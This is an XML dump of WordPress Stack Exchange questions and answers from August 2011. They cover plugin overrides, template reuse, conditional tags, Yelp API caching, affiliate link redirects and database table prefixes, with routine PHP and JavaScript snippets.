  <row Id="26687" PostTypeId="1" AcceptedAnswerId="26689" CreationDate="2011-08-23T16:13:27.963" Score="0" ViewCount="33" Body="&lt;p&gt;need to customise a plugin function but would rather not edit the plugin itself so updates wont remove the custom changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function iss in a class called &lt;em&gt;UserAccessManager&lt;/em&gt; and the function is;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function showGroupMembership($link, $postId)&#xA;{&#xA;    $uamAccessHandler = &amp;amp;$this-&amp;gt;getAccessHandler();&#xA;    $groups = $uamAccessHandler-&amp;gt;getUserGroupsForObject('post', $postId);&#xA;&#xA;    if (count($groups) &amp;gt; 0) {&#xA;        $link .= ' | '.TXT_UAM_ASSIGNED_GROUPS.': ';&#xA;&#xA;        foreach ($groups as $group) {&#xA;            $link .= $group-&amp;gt;getGroupName().', ';&#xA;        }&#xA;&#xA;        $link = rtrim($link, ', ');&#xA;    }&#xA;&#xA;    return $link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this possible? OR can i affect it with a filter? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated! Dc.&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-09-01T21:48:31.070" Title="overwrite a plugin function in functions.php" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;overridable-functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26688" PostTypeId="2" ParentId="26682" CreationDate="2011-08-23T16:30:17.123" Score="1" ViewCount="" Body="&lt;p&gt;I had to implement this for a client site and ended up creating my own system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hash the email and date created timestamp and store it as a key in usermeta, then i &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;email that key to the user's email&lt;/a&gt; in the form of a link. The link points to a page where I've created a rewrite rule and added my own query var so I can make nice &lt;code&gt;site.com/authorize/{key}&lt;/code&gt; links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they click through the link, I look up the matching user with that key and delete the key so they can now log in. I actually also log them in right there with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_signon&quot; rel=&quot;nofollow&quot;&gt;wp_signon&lt;/a&gt; and use wp_redirect to send them to a welcome page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my custom login form I check if the key has been deleted for a user before letting them log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be a plugin to enable this same process, or perhaps some of it can be achieved via hooks where I've just rewritten it, I'm not sure, I didn't explore doing it that way because of additional unique requirements for this particular project.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-23T16:30:17.123" CommentCount="5" />
  <row Id="26689" PostTypeId="2" ParentId="26687" CreationDate="2011-08-23T16:33:44.250" Score="0" ViewCount="" Body="&lt;p&gt;I'm afraid you cannot alter the output of this function unless you directly modify the plugin code. The plugin author hasn't given you any filter to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what can you do about it?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Continue to alter the plugin file and update each time the plugin updates.&lt;/li&gt;&#xA;&lt;li&gt;Ask the plugin author nicely to add a filter to this function.&lt;/li&gt;&#xA;&lt;li&gt;Make a fork of the plugin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-23T16:33:44.250" CommentCount="1" />
  <row Id="26690" PostTypeId="1" AcceptedAnswerId="26695" CreationDate="2011-08-23T16:38:27.390" Score="0" ViewCount="33" Body="&lt;p&gt;I'm pretty much a WP newbie, and I've noticed that in a lot of themes, there is the exact same code for displaying posts in three different places (single.php, archive.php, index.php etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just bugs me. It doesn't seem right to me, a programmer always trying to code as efficiently as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to generalize the layout for posts, preferably as a WordPress integrated/native function?&lt;/p&gt;&#xA;" OwnerUserId="8131" LastActivityDate="2011-08-23T17:00:42.480" Title="Isn't the way posts are displayed very unefficient?" Tags="&lt;posts&gt;&lt;functions&gt;&lt;design&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="26691" PostTypeId="1" AcceptedAnswerId="26697" CreationDate="2011-08-23T16:43:46.307" Score="0" ViewCount="16" Body="&lt;p&gt;From an SEO perspective, i'm trying to add conditional title tags to my WP theme such that it echos a piece of text based on various categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that my category id's are 1, 2, 3, 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i'd like to add Title 1 if category id = 1, title 2 if category id = 2 and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone assist in the correct php syntax to implement this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-08-23T17:36:27.893" Title="Help with adding conditional title tags to header.php" Tags="&lt;conditional-tags&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26692" PostTypeId="2" ParentId="26587" CreationDate="2011-08-23T16:44:45.737" Score="1" ViewCount="" Body="&lt;p&gt;I would do it in this way (admittedly, it's not ideal, but I think its probably the easiest to read).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an array of all the conditional scripts you may need, and pass them to javascript using &lt;code&gt;wp_localize_script&lt;/code&gt; (in 3.3 on, you will be able to use the much more logical alias &lt;code&gt;wp_add_script_data&lt;/code&gt; as &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11520&quot; rel=&quot;nofollow&quot;&gt;discussed here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conditional_scripts = array(&#xA;    'spinner' =&amp;gt; get_stylesheet_directory_uri().'/js/spinbox.js',&#xA;    'datepicker' =&amp;gt; get_stylesheet_directory_uri().'/js/datepicker.js'&#xA;    // etc, etc, etc.&#xA;);&#xA;&#xA;/* You could tie the variables to anything, since I assume you're just using&#xA;   an inline script. But including it as a &quot;localization&quot; of modernizr makes&#xA;   as much sense as anything. */&#xA;wp_localize_script( 'modernizr', 'modernizrScripts', $conditional_scripts );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just access those variables in your Modernizr tests:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;Modernizr.load([&#xA;  {&#xA;    test : Modernizr.inputtypes.number,&#xA;    nope : modernizrScripts.spinner,&#xA;    complete: function() {&#xA;      jQuery('.html5-number').spinbox();&#xA;    }&#xA;  },&#xA;  {&#xA;    test : Modernizr.inputtypes.date,&#xA;    nope : modernizrScripts.datepicker,&#xA;    complete: function() {&#xA;      jQuery('.html5-date').datepicker();&#xA;    }&#xA;  }&#xA;]);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-08-23T16:44:45.737" />
  <row Id="26693" PostTypeId="2" ParentId="11607" CreationDate="2011-08-23T16:47:17.877" Score="0" ViewCount="" Body="&lt;p&gt;Try the Custom Post Type Archives plugin.  &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-archives/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-type-archives/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8089" LastActivityDate="2011-08-23T16:47:17.877" />
  <row Id="26694" PostTypeId="2" ParentId="26192" CreationDate="2011-08-23T16:59:19.377" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; OK, I get what you're trying to do a little better. This should help get you there. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Cache the data that you are going to want. You'll go over your API limit quickly if you query Yelp on every page load - not to mention slowing your site down terribly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yelplist() {&#xA;&#xA;    $pizza_joints = wp_cache_get( 'pizza-joints' );&#xA;&#xA;    if ( !$pizza_joints ) {&#xA;&#xA;        require_once ('/lib/OAuth.php'); &#xA;        require_once ('yelp.php'); &#xA;        require_once(ABSPATH.'/wp-admin/includes/taxonomy.php');&#xA;&#xA;        $yelpstring = file_get_contents('http://api.yelp.com/business_review_search?term=pizza&amp;amp;location=Los%20Angeles&amp;amp;ywsid=xxxxxxxxxxxxxxxxxxx');&#xA;&#xA;        $obj = json_decode($yelpstring);&#xA;&#xA;        $pizza_joints = array();&#xA;&#xA;        foreach( $obj-&amp;gt;businesses as $business ) {&#xA;&#xA;            $path = trim( '' . parse_url($business-&amp;gt;url, PHP_URL_PATH) . '', '/biz' );&#xA;            $pizza_joints[ $path ] = $business;&#xA;&#xA;        }&#xA;&#xA;        wp_cache_set( 'pizza-joints', $pizza_joints );&#xA;&#xA;    }&#xA;&#xA;    return $pizza_joints;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a page for your single pizza joint reviews and set up a custom page template for it. Keep track of the page ID for that page. I'll say for the rest of my examples that this page has an ID of &lt;strong&gt;50&lt;/strong&gt; and the page template its using is &lt;strong&gt;single-pizza.php&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;ON your front page: when you want to link to individual pizza joint pages, link to that page with an additional variable passed reflecting the individual joint you want to show. Use the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;add_query_arg&lt;/a&gt; to generate the url to pass that variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pizza_joints = yelplist();&#xA;&#xA;foreach ( $pizza_joints as $path =&amp;gt; $pizza_joint ) {&#xA;&#xA;    echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;' &#xA;        . add_query_arg( 'pizza', $path, get_permalink( 50 ) )&#xA;        . '&quot;&amp;gt;' . $pizza_joint-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now when that link is clicked, the viewer will go to the page defined by the template &lt;strong&gt;single-pizza.php&lt;/strong&gt;. In that template, you can access the variable passed by checking the contents of $_GET['pizza'].&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;&#xA;Template Name: Single Pizza Joint Data&#xA;&#xA;*/&#xA;&#xA;$pizza_joints = yelplist();&#xA;&#xA;if ( isset( $_GET['pizza'] ) &amp;amp;&amp;amp;  array_key_exists( $_GET['pizza'], $pizza_joints ) ) {&#xA;&#xA;    $this_business = $pizza_joints[ $_GET['pizza'] ];&#xA;&#xA;    echo '&amp;lt;img src=&quot;' . $this_business-&amp;gt;photo_url .'&quot;&amp;gt;';&#xA;    echo '&amp;lt;h2&amp;gt;' . $this_business-&amp;gt;name .'&amp;lt;/h2&amp;gt;';&#xA;    echo '&amp;lt;h4&amp;gt;' . $this_business-&amp;gt;phone .'&amp;lt;/h2&amp;gt;';&#xA;&#xA;} else { &#xA;&#xA;    // either no variable was passed, or it doesn't match a business in the list&#xA;&#xA;    wp_redirect( home_url() );&#xA;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-08-23T19:58:04.650" LastActivityDate="2011-08-23T19:58:04.650" CommentCount="10" />
  <row Id="26695" PostTypeId="2" ParentId="26690" CreationDate="2011-08-23T17:00:42.480" Score="2" ViewCount="" Body="&lt;p&gt;you could move the loop content into its own file and share that between the different template files using get_template_part() &lt;/p&gt;&#xA;" OwnerUserId="8132" LastActivityDate="2011-08-23T17:00:42.480" CommentCount="1" />
  <row Id="26696" PostTypeId="1" AcceptedAnswerId="26820" CreationDate="2011-08-23T17:02:38.053" Score="0" ViewCount="44" Body="&lt;p&gt;I have a page with the slug &lt;code&gt;blog&lt;/code&gt;. Mysite.com/blog correctly renders from the template file page-blog.php. However, it does not execute footer code from my theme that's conditioned on &lt;code&gt;is_page('blog')&lt;/code&gt;, nor does it have an &quot;Edit Page&quot; link in the Admin bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a custom post type called &lt;code&gt;blog&lt;/code&gt;, but this page doesn't execute code for &lt;code&gt;is_post_type_archive('blog')&lt;/code&gt; either. In the admin bar, there is no &quot;Edit Category&quot; link or &quot;Edit [Anything else]&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the info the WP Debug plugin gives me when I load the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Request:&#xA;blog&#xA;&#xA;Query String:&#xA;pagename=blog&#xA;&#xA;Matched Rewrite Rule:&#xA;(blog)(/[0-9]+)?/?$&#xA;&#xA;Matched Rewrite Query:&#xA;pagename=blog&amp;amp;page=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-24T22:00:20.500" Title="Why doesn't my page know it's a page (won't return true for is_page())?" Tags="&lt;permalinks&gt;&lt;wp-query&gt;&lt;page&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="26697" PostTypeId="2" ParentId="26691" CreationDate="2011-08-23T17:36:27.893" Score="0" ViewCount="" Body="&lt;p&gt;See codex page for category conditional tags - &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Category_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags#A_Category_Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use them like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&#xA;&amp;lt;?php &#xA;if ( is_category( '1' ) )&#xA;   echo 'This is the news category';&#xA;?&amp;gt;&#xA;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-23T17:36:27.893" />
  <row Id="26698" PostTypeId="2" ParentId="26680" CreationDate="2011-08-23T17:36:42.960" Score="1" ViewCount="" Body="&lt;p&gt;You can pass an array of terms to &lt;code&gt;wp_set_object_terms&lt;/code&gt;, there is no need for the for each:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$genres= array('action', 'comedy', 'horror');&#xA;$ret = wp_set_object_terms( $postId, $genres, 'genres');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-23T17:36:42.960" CommentCount="2" />
  <row Id="26699" PostTypeId="2" ParentId="13981" CreationDate="2011-08-23T17:43:13.760" Score="0" ViewCount="" Body="&lt;p&gt;In your .htaccess file, add this line:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ErrorDocument 503 /error503.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make an error503.html file in the root of the site that has your custom stuff in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may or may not work depending on how your hosting is configured.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-23T17:43:13.760" />
  <row Id="26700" PostTypeId="2" ParentId="11607" CreationDate="2011-08-23T17:48:33.950" Score="2" ViewCount="" Body="&lt;p&gt;An FYI for those coming back to this question, this was fixed in 3.2: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/17316&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/17316&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-23T17:48:33.950" />
  <row Id="26701" PostTypeId="1" AcceptedAnswerId="26707" CreationDate="2011-08-23T18:39:54.690" Score="8" ViewCount="88" Body="&lt;p&gt;Is there some guideline or rationale behind why some WP code functions are prefixed with &lt;code&gt;wp_&lt;/code&gt; ? eg: &lt;code&gt;wp_insert_post()&lt;/code&gt; vs. &lt;code&gt;update_post_meta()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-27T21:54:51.913" Title="Why do some core functions get wp_ while others do not? What's the rule?" Tags="&lt;core&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="26702" PostTypeId="1" CreationDate="2011-08-23T18:48:00.627" Score="1" ViewCount="41" Body="&lt;p&gt;After long time am here,I have one question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Installed my wordpress in localhost and i moved to live,while i forgot the admin password,so i reset it by phpmyadmin(using md5).now i try to login by using with correct password it's redirect to &lt;a href=&quot;http://www.cairncroftmanagement.com/wp-admin/profile.php&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; and shows &lt;strong&gt;You do not have sufficient permissions to access this page.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;please anyone help me to solve this problem.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-08-24T08:46:24.810" Title="You do not have sufficient permissions to access this page" Tags="&lt;redirect&gt;&lt;login&gt;&lt;permissions&gt;" AnswerCount="3" />
  <row Id="26703" PostTypeId="1" AcceptedAnswerId="26715" CreationDate="2011-08-23T18:56:17.900" Score="1" ViewCount="42" Body="&lt;p&gt;I have some data that I'm pulling from an XML source and would like to display it in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution would be to take the static markup that my theme generates and spaghetti-code my page with some PHP that grabs the data from the XML and prints it in the page. Easy enough, but now every time I make a change to the theme I have to re-apply it to this page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more elegant solution that would allow me to inherit the whole site look n' feel and just append my data to it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2011-08-24T08:20:23.403" Title="Dynamic page outside Wordpress" Tags="&lt;custom-post-types&gt;&lt;php&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="26704" PostTypeId="1" CreationDate="2011-08-23T19:03:49.393" Score="0" ViewCount="6" Body="&lt;p&gt;I would like to have the functionality for image to change when the user selects a different variation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie, If I'm selling a T-shirt and have create two variations (Red and White). I would like for the main product image box to the image when the user selects a color. The Red shirt image should be displayed when the Red &quot;Color&quot; variation is selected. On the backend there is an area to add product thumbnails for each variation but that does not correspond with any change to the product image on the frontend. &lt;/p&gt;&#xA;" OwnerUserId="8135" LastActivityDate="2011-08-23T19:03:49.393" Title="WP ecommerce - How do I change the product image for each product variation?" Tags="&lt;plugin-wp-e-commerce&gt;" />
  <row Id="26705" PostTypeId="2" ParentId="26701" CreationDate="2011-08-23T19:06:46.067" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress was and is written by a lot of different people. Patches are discussed inside wordpress trac and whoever submits or assigns to a trac ticket can post patches. If the patch gets accepted and moved into core of an upcoming version it's simply in there. So sometimes functions, vars, etc. gets the prefix while other times they don't. It relies on the participating developers.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-23T19:06:46.067" />
  <row Id="26706" PostTypeId="1" AcceptedAnswerId="26711" CreationDate="2011-08-23T19:10:03.750" Score="0" ViewCount="18" Body="&lt;p&gt;I have a query in a custom widget (my first one!) which, if it's of custom post type &lt;code&gt;book&lt;/code&gt;, retrieves the post ID. This then gets used in a WP_QUERY to retrieve data about the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly when in the static sidebar.php, but not in either a dynamic PHP Widget or as a custom widget in functions.php. In those, it retrieves the relevant field from all examples of post type &lt;code&gt;book&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the offending code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php&#xA;         if('book' == get_post_type()) : &#xA;            $ww_book_id = $post-&amp;gt;ID;&#xA;&#xA;        else :&#xA;&#xA;            $ww_book_id = $default_book; //this is pulled in from the widget admin options form and works perfectly.&#xA;        endif; &#xA;&#xA;        $testimonial_args = array(&#xA;            'post_type' =&amp;gt; 'book',&#xA;            'p' =&amp;gt; $ww_book_id&#xA;&#xA;        );&#xA;        $main_testimonials = new WP_Query($testimonial_args);&#xA;        if($main_testimonials-&amp;gt;have_posts()) : while($main_testimonials-&amp;gt;have_posts()): $main_testimonials-&amp;gt;the_post(); &#xA;&#xA;         echo the_title(); //I actually do much more stuff than this, but it works for testing purposes.&#xA;&#xA;        endwhile; &#xA;    wp_reset_postdata();&#xA;     endif; &#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="5581" LastActivityDate="2011-08-23T19:35:31.370" Title="Code in custom widget queries all posts, when it should only query the current post" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;functions&gt;&lt;widgets&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="26707" PostTypeId="2" ParentId="26701" CreationDate="2011-08-23T19:12:41.087" Score="5" ViewCount="" Body="&lt;p&gt;This makes not that impressive answer, but - &lt;strong&gt;none&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_&lt;/code&gt; is suffix usually means function returns something, &lt;code&gt;the_&lt;/code&gt; that function echoes something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_&lt;/code&gt; doesn't carry technical meaning and inconsistency in naming is from many developers participating and lack of movement to unify (moving forward is considered more important than major cleanups of older stuff to make it neat).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-23T19:12:41.087" CommentCount="2" />
  <row Id="26708" PostTypeId="1" CreationDate="2011-08-23T19:20:23.763" Score="0" ViewCount="21" Body="&lt;p&gt;I'm using &quot;category grid view gallery&quot; (CGView) plugin to generate thumbnails from posts in a category , when i click on a image it opens a lightbox with picture and post content below it , post content is not following html markup (everything in one line) and i can't use styling or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to open complete post in lightbox when i click on it and not loosing cgview because of it style in make thumbnail .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there anyway to show complete post content with html markup (and picture and ...) in cgview lightbox or is there any other plugin that i can use instead ?&lt;/p&gt;&#xA;" OwnerUserId="7585" LastActivityDate="2011-08-23T19:20:23.763" Title="Category Grid and lightbox with post content" Tags="&lt;posts&gt;&lt;post-thumbnails&gt;&lt;gallery&gt;" />
  <row Id="26710" PostTypeId="1" CreationDate="2011-08-23T19:34:08.203" Score="0" ViewCount="27" Body="&lt;p&gt;I do not want to use any existing plugin. For WordPress-less projects, I would specify a PHP file in &lt;code&gt;href&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;FileOnMySite.php&quot;&amp;gt;Click here&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FileOnMySite.php&lt;/code&gt; will be like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('Location: http://www.MyaffiliateLink.com')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'll definitely get &lt;code&gt;header already sent&lt;/code&gt; in WordPress. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it possible to avoid &lt;code&gt;header already sent&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Any other cloaking method that you know will work best with WordPress?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-08-23T20:38:43.493" Title="Writing a link cloaking plugin" Tags="&lt;php&gt;&lt;redirect&gt;" AnswerCount="1" />
  <row Id="26711" PostTypeId="2" ParentId="26706" CreationDate="2011-08-23T19:35:31.370" Score="0" ViewCount="" Body="&lt;p&gt;Solved it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I replaced &lt;code&gt;$ww_book_id = $post-&amp;gt;ID;&lt;/code&gt; with &lt;code&gt;$ww_book_id = get_the_ID();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why &lt;code&gt;$post-&amp;gt;ID;&lt;/code&gt; was referencing all the posts in the widgetized version of this code. If anyone can tell me, I'd be very curious.&lt;/p&gt;&#xA;" OwnerUserId="5581" LastActivityDate="2011-08-23T19:35:31.370" CommentCount="1" />
  <row Id="26712" PostTypeId="2" ParentId="25704" CreationDate="2011-08-23T19:50:19.540" Score="0" ViewCount="" Body="&lt;p&gt;My solution at the moment is to use a GET variable to request a different page template:     &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Regular version of taxonomy page: mysite.com/subjects/science &lt;/li&gt;&#xA;&lt;li&gt;Blog version of taxonomy page: mysite.com/subjects/science?view=blog&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To handle the ?view=blog variable, I add this conditional to the top of taxonomy.php (or taxonomy-subjects.php and any other taxonomy-{slug} that I want to have an alternate version of):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /****************************************************&#xA;   Tell Wordpress to fetch a different &#xA;   template if our URL ends in ?view=blog&#xA; ****************************************************/&#xA;&#xA;$view = $_GET[&quot;view&quot;]; &#xA;&#xA;if ( $view == &quot;blog&quot; ) {&#xA;    get_template_part( 'blog-archive' );&#xA;    exit();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the blog-archive.php template, I adjust the query_vars of $wp_query to output a loop with only blog posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// adjust $wp_query-&amp;gt;query_vars to taste&#xA;$newloop = array_merge( $wp_query-&amp;gt;query_vars, array( 'post_type' =&amp;gt; 'blog', 'posts_per_page' =&amp;gt; 5 )); &#xA;&#xA;$the_query = new WP_Query ($newloop);&#xA;&#xA;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;&#xA;    //output your posts however you like&#xA;&#xA;endwhile;&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works for me at the moment; the only unfortunate aspect is that the URLs show ?view=blog instead of nice /blog. I borrowed the main $_GET[] idea from the answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20912/how-can-i-dynamically-load-another-page-template-to-provide-an-alternate-layout-o&quot;&gt;How can I dynamically load another page template to provide an alternate layout of the posts?&lt;/a&gt;. (I wonder if the latter can be done more intuitively with $the_query = $wp_query-&gt;set('post_type', 'blog'); but this seemed to turn $the_query into a non-object and give an error.)&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-23T19:50:19.540" />
  <row Id="26713" PostTypeId="1" CreationDate="2011-08-23T19:52:52.143" Score="2" ViewCount="28" Body="&lt;p&gt;In the book &lt;em&gt;Beginning WordPress 3&lt;/em&gt; the author advises that changing the default WP table prefixes can provide some slight security advantage (protects from SQL injection scripts). I found several articles that explain how to do this as well. I've also seen people arguing that it's not all that helpful. I thought I would try it on the theory that if it was reasonably doable and even slightly helpful, why not do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for a new project I did a Fantastico Installation, which meant that I had to go into the actual Tables via PHPmyAdmin, which I did. I changed the 11 standard table names, plus a couple of things in wp_options and in wp_usermeta, and finally the table prefix in the wp-config.php. When done I was able to login to the admin and all seems well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: can I now go forward and not worry about needing to change anything when I activate new plugins? Is this something that, once done properly, is done? That seems to be the implication but no one explicitly states this, either in the book, or in the articles I've read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's links to 2 articles, for FYI:&#xA;&lt;a href=&quot;http://digwp.com/2010/10/change-database-prefix/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/10/change-database-prefix/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tdot-blog.com/wordpress/6-simple-steps-to-change-your-table-prefix-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://tdot-blog.com/wordpress/6-simple-steps-to-change-your-table-prefix-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5686" LastActivityDate="2011-08-23T20:09:16.750" Title="Changing Table Prefixes - once done, am I good to go going forward?" Tags="&lt;security&gt;" AnswerCount="1" />
  <row Id="26714" PostTypeId="2" ParentId="26115" CreationDate="2011-08-23T19:56:29.737" Score="0" ViewCount="" Body="&lt;p&gt;The problem was not with get_post_type() like I thought, so Bainternet's suggestion of $post-&gt;post_type produced the same results.  Bainternet's suggestion from the comments was what was needed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;use the add_filter just before your loop, and add remove_filter after the loop&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-23T19:56:29.737" />
